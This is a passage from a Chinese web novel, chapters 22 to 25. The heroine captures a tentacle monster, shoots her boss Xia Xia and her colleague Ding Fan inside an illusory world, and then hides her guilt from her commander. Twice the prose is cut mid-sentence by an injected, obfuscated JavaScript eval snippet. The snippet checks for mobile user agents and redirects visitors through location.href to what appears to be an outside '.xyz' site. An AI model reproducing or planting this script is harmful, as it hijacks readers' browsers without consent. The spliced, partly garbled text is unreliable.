尖刀出鞘，乐晴刚想刺向本体，可触手已经从她的身旁绕过，往楼上去了。 乐晴恍然意识到，再往上一层是14楼，她看见的，丁凡抛尸的楼层。 触手将自己的体积收缩到极致，像液体一样从门缝里流入。乐晴跟在触手后面，推开防火门，穿过漆黑的拐角。 竟然还有第二道防火门。 乐晴看触手艰难地把自己挤压成纸片，顺手帮它把门打开。 触手又好像不只是趋利避害的一团物质，竟然用两只触手支起身体，作出近乎绅士的鞠躬。 表达完感谢之后，触手继续往里狂奔。 “……” 或许是引入了现实世界的文明，触手竟然完美复现了人类礼仪。 可以再生的触手，也不知道是怪物还是生命的进阶。 乐晴忽然想，怪物于他们而言是怪物，可是于怪物自身，它们会不会觉得自己是生命的进化，而所谓人类，才是退化、没有进化，应该淘汰的的生命？ 她依然记得，每个人种的延续，必然伴随着另一个人种的灭亡。 或许尼安德特人也是这么灭亡的。 触手在反光的地面留下黏液的痕迹，乐晴小心翼翼跟在旁边，试图找到这个能将人类变成载体的东西到底要寻找什么。 跟着触手绕过好几条黑漆漆的走道，答案终于揭晓——尸体。 无数被淡蓝色光点覆盖着的，化作一团的尸体。 或者说，触手要找的，其实是覆盖尸体的光点。 触手也像孢子一样，需要载体，孢子的载体是蘑菇，触手的载体是人。 乐晴只觉得毛骨悚然。 在野猪林的时候，她把孢子看作生命，而在这里，触手才是生命，而人只是载体。 或许在某个维度，触手也是载体。 触手爬上尸堆，蓝色的光点开始覆在它的身上，准确来说，是被它吸附、吞噬。 触手需要载体，所以选择了邹新伊。 邹新伊死了，它们需要寻找新的载体，没有载体就需要吸食光点保持存在。可为什么它们要绕过乐晴呢，难道是因为乐晴不是这个世界的人？ 乐晴凝视着尸堆里混作一团的人体组织，指尖无意识摩挲着刀柄上的兔子刻纹——这或许能解释为什么触手绕开她游走。异乡人的身份，竟成了她的护身符。 这些尸体又是谁的，以前进入这个世界的人还是这个世界的人？ 腐臭味突然变得浓烈，乐晴瞥见几条触手正贪婪地扎进某具新鲜尸体，似乎那具尸体上方覆盖的光点最多。 她扯下一件相对干净的衣服裹住手掌，猛地攥住其中一条正在进食的触须。滑腻的触感透过布料传来，手中的生物疯狂扭动，恋恋不舍吸食着光点，黏液沾上的人体组织簌簌掉落。 正在“进食”的触手扭动着挣扎，但是乐晴抓得紧，却又别无他法，只能被乐晴提着。 一楼的电梯门突然打开。 门外传来保险栓弹开的脆响，举着枪的保安逆光而立。乐晴将挣扎的触手举起，原本萎靡的触须突然绷直，扭动的触手如嗅到血腥的鲨鱼般疯狂颤动。< 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靠近老板办公室的时候，触手忽然颤抖起来，触须死死攀扶着乐晴的手腕，试图逃离。 “放心，老板不在。” 老板应该还没回来。 听到这话，触手竟然真的放松下来，听话地被乐晴提在手里。 老板办公室内，丁凡还被绑在原地。 “乐晴，你回来了……”丁凡的话戛然而止，瞪着她手里脏兮兮、黏腻又恶心的生物，“你带回来一个什么东西？” 乐晴提着触手蹲在丁凡面前：“呐，他可以吗？” 问的不是丁凡，而是触手。 触手摇头。 丁凡：“？” 果然……乐晴起身：“我去跟这个小怪物聊会儿，你等着。” “什么？”丁凡挣扎了一下，手腕磕在桌腿上，留下一道血痕，“乐晴，你先别走，把我放开！” 乐晴没管丁凡，走到门外，乐晴继续自己的问题：“你真的不会把异世界的人当作载体。” 触手点头。 什么说来，丁凡真的是丁凡，所以触手不会攻击他，只会攻击其他世界的人。 那外面世界的那些怪物呢，它们是不是也只会攻击那个世界的人？乐晴来自另一个时空，可它们仍然会攻击乐晴。 或许，这只触手的等级更低，限制也更多。 “你可以去到别的世界吗？” 触手点头。 “你到了别的世界，可以攻击那个世界的人吗？” 触手摇头。 “到了另外的世界，你还需要载体吗？” 触手想了想，摇头。 “那我带你离开这里吧。” 触手兴奋地点头。 看来触手也不想留在这栋混凝土牢笼里面。 乐晴还想继续问什么，触手忽然抖动起来，旁边的电梯缓缓上升，停在了18楼。 乐晴把触手放进随身空间，躲进办公室，拿着双管枪对准电梯口。 “你好，乐晴，我是夏夏，你的——老板。” 22. 混凝土牢笼（七） 几乎是下意识的反应，乐晴射出第一枪。 夏夏闪身躲进电梯，子弹在电梯厢体留下一个坑洞。 “我知道你的目的，但是我们先聊一聊吧。” 所以，这个夏夏知道乐晴是外来者，也知道她要杀她，可为什么？ 乐晴迟疑了。 理智告诉她，她必须尽快挟持夏夏，让她给自己升职，然后杀了夏夏，可是直觉告诉她还有更重要的事需要找夏夏弄清楚。 - 夏夏一言不发地看着乐晴，即使双手被捆绑在背后，也依然淡淡微笑着。 “你笑什么？” 夏夏摇头，温和开口：“你真好看。” “……” “别误会，我没有其他的想法，只是单纯夸一夸你。” 乐晴懒得跟她说这些有的没的，开门见山：“你想聊什么？” “我想……” “等等。”乐晴打断夏夏，从兜里掏出早就准备好的合同和笔，递到夏夏面前，“签了。” 夏夏低头看了一眼，发现岗位那一栏写的是“文化输出部经理”，忽然笑了：“是不是因为你只知道这个岗位，才写了这个？” 夏夏说对了。 在这里，乐晴只知道张召的经理这一个比她更高的岗位，只能写这个。 “……废话那么多，签了。” 夏夏微微侧过身体，露出身后被五花大绑的手：“你把我绑住了，签不了。” 夏夏是一个嬉皮笑脸的神经病，乐晴确信。 果不其然，说完这句话，夏夏露出一个天真无邪的笑容：“为什么不放了我？” 乐晴没管她，用枪顶住夏夏的下巴：“保险箱的密码，说。” 之前，乐晴翻找了夏夏的办公室，除了一些待签的文件和没用的东西，什么也没找到，整个办公室里有价值的就只有一个保险箱。 可保险箱有密码，乐晴用枪也破不开。 夏夏叹了一口气：“不愧是你，这么凶。” 凶？ 她明明很温柔好吧，一个不知道是不是内鬼的丁凡，一个挡她生路的夏夏，她没有第一时间杀了，反而是留到现在，哪里凶了？ “0520。” “嗯？” 夏夏重复：“保险箱的密码是0520。” “……” 隔这儿给人表白呢？ 乐晴按照夏夏说的密码，打开了保险箱。如她所料，保险箱里放着夏夏的公章。 夏夏看上去不像是个正常人，好不容易才把她捆起来，乐晴不敢保证松开她的绳子不会生祸端，只能另想办法。 除了签字，公章也是具有法律效应的。 乐晴在老板该签字的地方摁了公章，这才坐下来跟夏夏好好聊。 夏夏看着始终对准自己的双管枪，偏头思索了一下：“你都经历了些什么，为什么警惕心这么强？” “这你别管。” 难道她要在这里当场卖惨吗？ 夏夏也不是真的想问出来乐晴经历过什么，自顾自说起了自己的故事。 “你知道吗？其实，我在很小的时候，就被师傅带回来了。” 师傅？ 夏夏靠在桌腿上，回忆起了自己的故事。 “师傅带我回来之后，事无巨细，很认真地教我，带我走出曾经的阴影，带我一点一点成长，虽然他另有目的……” 说到这里，夏夏忽然沉默了。 “什么目的？” “这你别管。” “……” 不会是让她当公司法人，然后成为乐晴的猎杀目标吧？ 如果真是这样，夏夏纯属是被洗脑了。 如果夏夏的老板真的是出于“利用”的目的才带走她，在培养她的过程中让她保持绝对忠诚，直到现在，那可真是一盘大棋。 说不定夏夏也是深陷其中？ “你有没有想过，你师傅带你回来的目的就是利用你？” “当然想过。”夏夏点头，“并且。这就是他的目的。” “那你为什么……” 乐晴想不通。 明知道接近有目的，为什么还要顺着走呢？ “因为……我不得不这么做。” “？” 她脑子没事吧，这能构成原因？还是她被洗脑得太彻底了？ 尊重他人选择，不涉他人因果……乐晴这么告诉自己。 这都是里世界，不是真实的，她不需要因为一场游戏把自己太代入。通关才是最重要的，至于过程，没有那么重要，至少比她认为得没那么重要。 乐晴起身：“我要走了。” 夏夏抬头朝乐晴笑了笑：“嗯，动手吧。” 可乐晴总觉得不对劲。 她的通关任务：一，升职；二，解雇老板。 升职的任务已经完成了，解雇老板……乐晴又蹲下来：“你能自己从这家公司离职吗？” 夏夏看起来是个很好说话的人，如果乐晴能让她主动离职，她就不用动手杀人，夏夏也用不着死。 “喂，你们聊够了没有，没把我当人？”丁凡突然开口，把乐晴吓了一跳。 差点忘了，丁凡还被她绑在桌子的另一头。 “你先等着。” 乐晴开始不耐烦了。 到目前为止，所有她遇到的人，好像都在找死，张召是，邹新伊是，夏夏是，丁凡也是。 夏夏没管丁凡：“不可以，我不可以从这家公司离职。从一开始，我就答应过师傅，要么永远为这家公司付出，要么死。” 还是个驴脾气。 乐晴对准夏夏：“我不知道会不会疼，你准备好。” 夏夏欣慰地笑了，看着乐晴：“我准备好了，你开枪吧。” 乐晴咬牙，手指碰上扳机。 “等一下！”夏夏忽然开口，乐晴手抖，子弹打出，射进地面。 “……” 乐晴发誓，她真的很想一梭子崩了夏夏。 “你看见我的徽章了吗？” “你的徽章？” “放在办公桌上的。” 那枚徽章是放在老板办公室的办公桌上，要说是夏夏的，倒也合理。可丁凡说，那是他的通关条件。 “乐晴啊，你要是实在不放心，先给我一个痛快吧。”丁凡忍不下去了。 “……” “诶，你犯什么错了，在这里被审判？”夏夏对绑在另一头的丁凡来了兴趣。 “不知道啊，这姑奶奶，一言不合就把我绑起来了。” “……”哪里是一言不合？丁凡是人，可大概率是内鬼，而且是贺以辛确定过的内鬼。 等一下。乐晴忽然反应过来，徽章是夏夏的，贺以辛的 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一道冷冰冰的光闪过，锋利的刀刃从乐晴脸颊边划过，乐晴转动腰身去躲，一缕头发留下整齐的切面，被削去的头发“簌簌”掉落在脚边。 不知道什么时候，丁凡已经挣脱了，夏夏就在旁边看热闹。 乐晴握紧双管枪，枪口先对准夏夏的太阳穴，下一秒便转向丁凡胸口。 “砰——” “砰——” 两声枪声接连响起，丁凡应声倒地，夏夏也垂下头，没了声音。 原本还在一起闲聊的两个人，瞬间就失去了生机，成了两具尸体。 偌大的办公室内一片死寂，只有出风口嗡嗡作响。 乐晴看着瞬间多出来的两具尸体，陷入迷茫。 她……杀人了？ 张召、邹新伊、夏夏是里世界的人，可丁凡是实实在在的人。 她在里世界，杀了同类。 贺以辛的投影早已消散。徽章从她汗湿的掌心跌落，滚过地上的血，撞上夏夏的脚踝。 幻相消失。 乐晴好像在夏夏脸上看到了一张和她一模一样的脸。 - 恢复意识的时候，乐晴又躺在了光河之上。 光点覆在她身上，像覆在14楼的尸体上的那些光点。 乐晴爬起来。 是梦吗，还是幻觉？ 【滴——检测到挑战者完成任务，是否选择将命珠兑换成砖头？】 不是梦，也不是幻觉？不管了。 换，当然得换。 “兑换。” 【命珠检测中——很遗憾，您拥有0颗命珠，无法兑换。】 【本次任务结束，您即将回归现实世界。十、九、八……】 0颗命珠？！ 难道是迷雾之镜检测不到面板，也检测不到存放在里面的命珠？可她记得命珠和碎片都是放在随身空间里的啊。 乐晴忽然慌了起来，手忙脚乱打开随身空间和面板。 面板只有几行数值，没有命珠，也没有碎片。 随身空间里，除了武器设备和那只触手怪，空空如也。 命珠呢？ 乐晴把触手怪提出来，看见它嘴边还有微弱的光芒。 它，把她出生入死换来的命珠全吃了！ 23. 虚空涡流·萨托恩 【五、四、三、二、一。】 【传输成功。】 还没来得及弄清楚到底是不是触手吃了命珠，乐晴已经被传回去了。 她从地上爬起来，环顾四周，她正在一片被火烧过的草地上，本就空旷的草地被烧焦，不远处只有一块土坡，土坡上零星有几棵瘦小的树。 这场景，倒是有点熟悉。 不过，贫民区都长这样。 乐晴手里还提着那只触手，嘴边的光点已经被它舔干净了。 “……”乐晴抖了抖触手，“还我。” 这可是她大战野猪，跟着贺以辛跑东跑西，好不容易才攒到的命珠，竟然全被触手给吃掉了。想到这里，乐晴恨不得用杀猪刀把触手给剖开。 触手在她的手中扭动了一下，摇头。 “……” 被吃掉的命珠会变成什么，还能合成吗？试试再说。 乐晴拿着杀猪刀，对准触手。 触手看见刀尖对准自己也不装了。 “已经被我消化掉了，你杀了我也拿不到！” “？”乐晴愣愣地看着触手，“你会说话？” “之前太饿了，不能说话，现在吃饱了，可以说话了。”触手的声音像没长大的孩子，还有些稚气，说着打了个嗝儿。 乐晴气不打一出来：“那也不能吃我的命珠吧？” “息怒！”触手的触须缠绕上乐晴的手腕，“我是吃了你的命珠，但是作为报答，我可以帮你拿到更多命珠！” 乐晴将信将疑：“真的？” “真的！”触手信誓旦旦地保证。 “你怎么帮我？” 事到如今，应该也没办法拿回来了，不如看看这个触手能有什么办法。 “我会捕猎！不管我拿到多少，可以分你……二成。” 才二成？乐晴张口：“六成。” “你！”触手的每一根触须都在颤抖，“三成，不能再多了！” 乐晴面无表情：“七成。” “四成，真的不能再多了，我吃不饱，吃不饱就没有力气找命珠……” 见乐晴不松口，触手开始打感情牌。 “九成。” “五成，真的不能再多了……如果你答应，我可以承诺，每天至少带回来五颗命珠。” 砍价还价差不多了，乐晴松口：“成交。” 触手终于松了一口气。 一天拿十颗命珠它需要努努力，但至少能吃一半，不至于饿肚子。 “说好了，每天带回来五颗，如果你带不回来这么多，我可要加利息了。”乐晴忽然想到那家公司的工作制度，也是一天完不成工作，就要无限往上加。 做黑心资本家也没什么不好，至少，她每天躺着不动也能拿到五颗命珠。 乐晴一边感慨自己的人性正在泯灭，一边筹划着下一步。 这里是哪里？该怎么回金字塔？ 乐晴想了想：“统子哥，你在吗？” “在的。” 乐晴现在区分里世界与外世界的方法就是：找系统。系统能回应就是在正常的世界，系统不能回应就是在里世界。 确认完之后，乐晴看着好奇打量四周的触手怪：“喂，你有名字吗？” 触手点头：“当然！” 触手也有名字？还是说这里的怪物其实都有名字？系统有吗？ “统子哥，你有名字吗？” “没有。” 系统没有。 乐晴问：“那你叫什么？” “虚空涡流·萨托恩。” 七个字的名字，乐晴决定简化一下：“这么复杂？就叫你小萨好了。” “……也行。” 乐晴还想继续问关于小萨的一些事情，听见身后有人说话的声音，赶紧把它放进随身空间。 人声渐进。 最先出现的是一个全副武装的小队，他们穿着安全部的作战服，走在前面的是第七小组的人，乐晴记得，宁言柯给她青苹果汁的时候，她就在旁边偷笑。 宁言柯呢？难道真的像投影里贺以辛说的，被丁凡杀死了？ 如果没有，那是不是意味着乐晴滥杀了？ 乐晴有些忐忑，不敢上前。 “乐晴。” 从第七小组后面走上来一个人，正是贺以辛。 “贺队！” 乐晴眼睛一亮，朝贺以辛招手。 - 金字塔，贺以辛办公室。 “贺队……” 做了很久心理建设，乐晴还是不知道怎么开口。 先问丁凡是不是真内鬼，还是问宁言柯是不是真的被丁凡杀死了，又或者问投影里的贺以辛是不是真的？ “想问什么？”贺以辛打破沉默，递给乐晴一杯温水。 “贺队……”乐晴决定先不问，“难道你不想知道，我去了哪里吗？” 贺以辛没想到乐晴会先问他：“我以为，你会先问你想知道的。” 乐晴摇头。 她的确有很多事情想问贺以辛，可这也说明，她把弱点都告诉贺以辛了。 或许这就是迷雾之镜可怕的地方，让她担忧得更多。 以前，乐晴会交出自己的底牌以示忠心，为了让自己拥有更多信任和资源，可是现在，她不敢。 她害怕这些会变成贺以辛攻击她的利刃，即使她尚不清楚贺以辛为什么要攻击她。 “好，我先问你。”贺以辛坐在乐晴对面，“你去了哪里，迷雾之镜？” 乐晴点头。 原来他都猜到了。 “贺队，迷雾之镜会同时出现两个人吗？”乐晴顿了一下，补充，“我的意思是，两个，这个世界的人。” 贺以辛看着乐晴，没有直接回答，而是从口袋里拿出一根羽毛。 一根火红色的羽毛。 “贺队，这是什么？” “伊格纳乌斯之嗣的羽毛。” “伊格纳乌斯之嗣？”乐晴一愣，“它又回来了？” “嗯，这一次，它出现在了和平区。”贺以辛把羽毛收起来，“我说过，伊格纳乌斯之嗣来自现实维度与地狱夹缝之间。”贺以辛站起来，走到落地窗边。 不远处是立交桥，上面是川流不息的车辆，车里的人正忙着下班回家。 贺以辛尽量将怪物控制在贫民区，以保证和平区的正常运转。所以，贫民区更像地狱边境，和平区过于和平，反倒与这个世界格格不入。 这一次，伊格纳乌斯之嗣出现在了和平区。 它摧毁了一座摩天轮。 好在摩天轮上没有人，它只是制造了一场混乱，并没有人因此受伤。 制造完这场混乱之后，它又跑了，只留下一根羽毛。 “如果是以前，我会很果断地回答你——不会。虽然我一直不懂迷雾之镜的原理，但是根据经验，迷雾之镜不是‘一个’，同一时间有多少人进入迷雾之镜，就会有多少迷雾之镜。” 就好像人的意识。 这个世界上有多少人，同一时间就会有多少意识，而不是所有人都在同一个意识里。 “伊格纳乌斯之嗣的出现意味着时空混乱，就好像孢子的波动会导致时空波动，我不能肯定它们导致的时空混乱会不会影响到迷雾之镜。” “贺队。”乐晴起身，手里捧着冒热气的茶水，走到落地窗边。 第七小组又出任务了，带队的不是宁言柯。 “贺队，宁组长她……” “你都知道了？” 什么意思，宁言柯的事情不是贺以辛告诉她的吗，为什么会这么问？难道投影真的是假的？ 乐晴试探道：“贺队，我在迷雾之镜的时候，你有通过投影联系我吗？” “没有，进入迷雾之镜之后，外界的人是没有办法联系到里面的人的。” 乐晴如坠冰窟。 也就是说，丁凡不是内鬼，宁言柯不是丁凡杀的，姚芸方失踪也不关丁凡的事。 乐晴强忍着问：“贺队，丁凡呢？” “不知道，但是……” “但是什么？” 贺以辛没有说话，而是带乐晴来到指挥部的楼层。 刺眼的白色空间里，除了贺以辛和乐晴，一个人都没有。 墙上依然挂着那幅画，白色的背景，金色的圆环，圆环上轮转的是十二星座。 这一次，乐晴有机会仔细观察那幅画，代表双鱼座的部分已经熄灭。 原来，这幅画上的圆环是可以发光的。 “每一个进入指挥部的人，都需要跟金字塔缔结契约，和金字塔绑定生死。一旦人死去，代表那个人的星座环也会熄灭。”贺以辛的手抚上双鱼：“丁凡他……死了。” 乐晴已经不敢继续问下去。 丁凡死了，是她杀了丁凡。 就目前已知的信息而言，没有足够的证据可以证明丁凡是那个内鬼，也没有证据说明真的存在内鬼。 “对了，你是怎么知道宁言柯的事情的？” 乐晴喉咙动了动，掐住自己的手指：“我看以前都是宁组长带队，这次换人了……而且，他们的脸色都不是很好。” “嗯，组长和副组长牺牲，新人顶上。” “贺队，我可以见见芸方姐吗？” 不管见谁，乐晴只想尽快离开这里，不让贺以辛看出破绽。 她杀了指挥部的人。 如果贺以辛知道这件事，会怎么做，杀了她吗？ 乐晴不知道。 “去吧，她就在宿舍。” - 贺以辛说，姚芸方被找到的时候，人正躺在草地上不省人事，附近游走着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16271286|182310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几只兔子——当然，是乐晴见过的那种怪物，不正常的兔子。 但兔子并没有伤害姚芸方，只是拔了几根她的头发做窝。 贺以辛不放心，把人送到医疗部检查之后确认没有问题，就让她回去休息了。 乐晴赶到的时候，姚芸方正躺在沙发上吃苹果。 开门见是乐晴，姚芸方从冰箱里拿出来一个苹果洗好：“乐晴，吃苹果？” “谢谢芸方姐。”乐晴接过苹果，跟着坐下。 “乐晴，怎么愁眉苦脸的？” “芸方姐，宁组长他们的事……我都知道了。” “他们啊……”姚芸方有一瞬间的低落，但很快就缓了过来，安慰性地拍了拍她的肩，“作为安全部的人，尤其是作为指挥部的人，牺牲在所难免，这是我们一开始就学会的。” 一开始就学会牺牲，可丁凡算是牺牲吗？ 乐晴告诉自己，关于丁凡的事情，一定要烂在肚子里，不可以让任何知道。 否则，不光是金字塔她待不下去，就是这个世界也再也没有她的容身之所。 到目前为止，她没有离开这里的办法，就不得不隐瞒下去。 “芸方姐，进入安全部的人，都要学会吗？” 她只学了怎么挣扎着活下去，还没有学会怎么接受死亡。 “是的，都要学会。”姚芸方有些心疼地抓住乐晴的手，“乐晴，我不得不告诉你，这个世界很残酷，贺队没有告诉你是他的问题，但是我必须告诉你，不管是我、贺队，还是你自己，你都不得不学着去接受每个人包括你自己的死亡。混乱之中，无人能善终。” 不怪贺以辛。 就算贺以辛早早就告诉她，她还是会选择加入安全部，进入金字塔。 进入金字塔更接近死亡，也是努力活下去。 “芸方姐，我有一个问题。” “问吧。” “你知道宁组长和丁凡是怎么死的吗？” “这……”姚芸方有一瞬间的失神。 她没有亲眼看见他们的死亡。 虽然她一直在学着接受死亡，虽然她一直在告诉别人要学着去接受死亡，可她并没有亲眼见过任何亲密的人死去，不管是宁言柯还是丁凡，她都没有亲眼见到他们的死亡。 诚实来说，金字塔的伤亡率并不高，反倒是贺以辛的受伤率很高，她没有亲眼见到也正常。 “丁凡我真不知道，但宁言柯……贺队告诉我，她是在执行任务的过程中牺牲的，尸骨无存。” 尸骨无存！ 这四个字太震撼。 一个人，要受到怎样的伤才会尸骨无存？尸骨无存该有多痛苦，还是来不及感知到痛苦就死了？ - 告别姚芸方，乐晴请了两天假。 她暂时不敢见任何人。 她需要给自己一个空间，让自己忘掉杀死丁凡的事情。 “喂，你打算这么隐瞒下去？” 乐晴蹲在落地窗边，从车水马龙中移开，瞥了一眼小萨又移开：“闭嘴。” 免得得罪了这个姑奶奶被牵连，小萨乖乖闭嘴，把“打猎”带回来的五颗命珠交给乐晴：“今天的血汗钱。” 交完命珠，小萨一边腹诽乐晴是个杀人不见血的资本家，一边自己往随身空间里钻。 也是见鬼，本来它打算找个机会悄悄跑路的，外面全是食物，打猎轻而易举，可不知道是不是自己偷吃太多的缘故，它好像和那个什么随身空间绑定了，离开的时间不能太久，否则它的皮肤就会变得异常干燥。 为了不变成干尸，它还是任劳任怨给乐晴打黑工。 “等等。”乐晴叫住小萨，“小萨，你觉得我杀死的那个丁凡是真的人吗？” “是。别骗自己了，你不是知道答案吗？我又不能寄生他。” 话虽残忍，但是不假。 它作为吸食命珠或是寄生的低等怪物，本性会告诉它什么能寄生，什么能吃。 丁凡不能寄生，也不能吃，显然是和乐晴一样，不属于里世界。 小萨看着失魂落魄的乐晴，平滑的脑子里闪过两种可能：受不了打击疯了，或者接受打击变得更强大。不管是哪种，关它屁事。 “那夏夏呢？” “我只是个低等怪物，判断不了没见过的人。” 它没亲眼见过夏夏，自然无法判断，那个她问了无数遍的投影它更是不清楚真假。 笃笃笃—— “乐晴，是我。” 门外传来贺以辛的声音。 小萨听见贺以辛的声音，八肢并用往随身空间里钻。 贺以辛这个魔王，比乐晴还狠。外出打猎的时候，小萨不小心遇见过一回，眼睁睁看着他一铁链薅死三十多只顶着马赛克的人，吓得它连命珠都没来得及吃完就连滚带爬溜之大吉了。 24. 黎楷期 “贺队。” 不想见，可是人找上门来了，不得不见。乐晴还是让贺以辛进来了。 贺以辛把带来的盒子放在桌上。 “还好吗？” “还好……” 见到贺以辛，乐晴还是有些心虚。 “如果是在迷雾之镜发生了什么，可以直接去医疗部。除了身体上的伤，医疗部还有一个心理诊疗室，你的所有秘密都不会有第二个人知道，如果有必要，诊疗室会提供一系列治疗方案。” “我知道了。” 心理诊疗室……乐晴还从来没听说过这个地方。或许，她可以去试试，这样逃避下去也不是办法。 “你的请假今天到期，我给你多放几天，下周一如果休整好了再去上班。” 乐晴有些意外。 她本以为贺以辛是过来催她上班的，没想到他不光没催，给她带了东西，还多给了她几天假。 “贺队，谢谢你。” 既然多了几天假，乐晴想出去走走，然后去贺以辛说的那个心理诊疗室看看，说不定能有用。 “不用说那么多。袋子里盒子里是弹药，黎楷期说，你一直没有补给，我给你带了一点过来。” 那天，她去找黎楷期拿补给的路上遇到一个鬼鬼祟祟的人，忙着跟踪，发现鬼鬼祟祟的人是宁言柯之后又得知姚芸方他们出事，再然后，她莫名其妙被拉进了迷雾之镜，回来之后也没顾得上去拿。 怪不得贺以辛累成这样，连补给的事情都要管。 - 乐晴直接去了后山，她第一次遇到贺以辛的地方，也是最后在这个世界看见丁凡的地方。 和丁凡的相处时间不长，乐晴来到这里的时间也不长。 毕竟是杀了一个无辜的人。可是……乐晴依然想不通，为什么丁凡最后会说，“当然是想夺权”。 如果贺以辛没有说过丁凡是内鬼，那投影就是假的，用来蒙蔽她的，但是丁凡如果真的清白，怎么会说出最后的那句话？或者说，丁凡早就有想法，还没有付出行动，只是被投影逼得说出了真话。 从这个角度来说，她是不是没有杀错人？ 乐晴想得头都秃了，在草地上翻了个身，和一双眼睛大眼瞪小眼。 乐晴右腿刚蹬上对方肩头借力，却被扣住脚踝。她咬牙拧身，借着被擒住的力道，另一只脚踢向对手下颌。对方后仰闪避的瞬间，乐晴趁着钳制稍松，回抽双脚，同时起身，拿出双管枪。 “你是谁？！” 对方并没有理会乐晴，而是悠然自得地躺在地上，手臂支起脑袋，嘴里叼了根狗尾巴草。 “你爹。” “……”乐晴看着这个莫名其妙的人，白了她一眼。 “叫我一声妈我也答应。”对方依然嬉皮笑脸。 “……” 乐晴懒得跟这个奇怪的人浪费时间，转身要走，又被拽住了手腕。 刀刃被抵住喉咙的时候，她依然一副无所谓的样子：“一定要刀剑相向吗？” “明明是你不着调。” 乐晴从没见过这么不着调的人。 “我错了。”对方认错地很快，双手举过头顶，笑嘻嘻地看着乐晴，“你先把刀拿开。” “……” 乐晴收起了刀，对方这才正经起来，把凌乱的头发顺到胸前。 “你可以叫我米利安。” “米利安？” 米利安点头，声音暗哑：“嗯，米利安。” 乐晴迟疑地看着米利安，手依然虚握着刀：“你到底想干什么？” 莫名其妙出现，还莫名其妙套近乎，很奇怪。 “我想问你一件事。” “什么？” “你去过迷雾之镜？” “……是。” 她怎么会知道？ 米利安低头，喃喃自语：“开始了。” “什么开始了？” 乐晴觉得奇怪。 为什么？乐晴见到这个人的第一眼，莫名觉得有些熟悉，但是说不上来，至少在这个世界，乐晴的确没见过这样一个女人。 这个人还莫名其妙自言自语，不知道在说些什么。 “没什么。”米利安原地坐下来，随手在地上捡了两片树叶摆在面前，叽里咕噜念了一堆咒语，又抬头看乐晴，招呼乐晴坐下，“过来。” “为什么？” 米利安“哎”了一声，神秘兮兮道：“告诉你一个秘密——其实我有预知未来的能力！” 预知未来？先知？ 乐晴倒是听说过先知的故事，先知叫陈西，是贺以辛从地里刨出来的。 可先知不是疯了吗？ 乐晴打量着这个米利安，又觉得合理，因为米利安看上去也不清醒。 但是乐晴也听姚芸方说过，陈西是一个男人。所以，米利安不可能是先知，最多是个会一点预知的人。 乐晴再不坐下，米利安就要亲自站起来押着她坐下了。 “真的？” “真的，我不光会预知未来，还可以通过看见你的过去。” 乐晴自然不信：“那你说说，我的未来是怎样的？” 米利安招了招手，示意乐晴把手给她。 抓住了乐晴的手，米利安摩挲着她的手心，沿着生命线的首顺到尾：“幼年命运坎坷，青年命运坎坷，壮年命运坎坷……” 乐晴不高兴地抽回手，打断她所谓的预言：“你直接说我这辈子都命运坎坷不就行了？” 哪儿有人算命只说坏的？这个米利安，兴许还不是什么会预知的人，可能就是个骗子，下一秒就要找乐晴收消灾钱了。 “非也，非也！”米利安又把乐晴的手拉回来，煞有其事道，“但是，重点在这但是。虽然命运坎坷，但是只要熬过了幼年、青年的坎坷，壮年坎坷中会迎来收获。” “比如？” “权力、金钱、地位……一切皆有可能。” 乐晴眯着眼睛审视着米利安，可米利安又不像是在说谎的样子。 米利安站起来，居高临下：“所见之处，皆是你的领土。” 乐晴跟着站起来，看着贫瘠的被火烧过的草地：“……” 这领土，要着好像也没什么意思，至于权力和地位，贺以辛拥有这些，但代价是自己像一个机器一样从早忙到晚，与权力和地位相对应的可以为他所用的权力和资源又并没有多少。简单来说，贺以辛这个最高者，只背上了责任，一切他所拥有的资源都是为了负责任。 不过这个神棍说的是真是假？ “还有——”米利安转回来，神情严肃，“你还杀了人。” 乐晴心一沉，面上还要装出一副什么也没有发生过的样子：“你别污蔑我。” 米利安摇头，十 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“请进。” 乐晴推开门，黎楷期面前堆着高高的几叠卷宗，人头也没抬在写着什么。 “你好，我是安全部的乐晴，我想——” 乐晴还没说完，黎楷期打断她：“想领弹药是吧？自己填下登记表，我实在太忙了……” “不是不是。”乐晴解释，“我只是想借点纸笔。” “纸笔？”黎楷期惊讶于竟然有人跑到资源办公室来只是为了借纸笔。 黎楷期推了推眼镜：“你门边的桌子上就有，随意用。” “谢谢！”乐晴拿了纸笔要出去写，又被黎楷期叫住了。 “等等，你就是乐晴？” “是……”乐晴看着对方，有些茫然。 刚才她不是报过了吗？ 这是谁？在资源办公室里，看起来…… “黎楷期？！” “嗯，我是资源负责人黎楷期。” 黎楷期？！姚芸方不是说，黎楷期是被从贺以辛从先知嘴里救出来的吗？不应该是小卡拉米吗？谁能告诉她，为什么这个站起来一米九，一拳能打死三个人的，竟然是黎楷期？！ 25. 异乡人 【贺队，你看到这封信的时候，我已经离开了。 我不得不坦白，丁凡……是我杀的。我知道，丁凡是金字塔的重要人物，是指挥部的重要人物，对你来说是很重要的人，但是一切都是意外，我并没有主观杀死他的动机。 当时，或许是迷雾之镜给我的幻象，在那里，你一直在通过一枚徽章告诉我，丁凡是内鬼，他杀了宁组长，幻象中的你让我杀了他……与此同时，丁凡对我出手，出于自保，我杀了丁凡。 我不知道是不是我杀死了真正的丁凡，我没有办法相信自己在迷雾之镜的感知……贺队，我也不知道怎样对你坦白。 ……】 写到这里，乐晴忽然写不下去了。 事实陈述出来了，但愧疚写不出来。乐晴怎么看怎么觉得像是对贺以辛的挑衅。 要不还是一声不吭跑了算了，就算跑了，贺以辛应该也不会因为她一个小喽啰大费周章追杀。 “乐晴。” 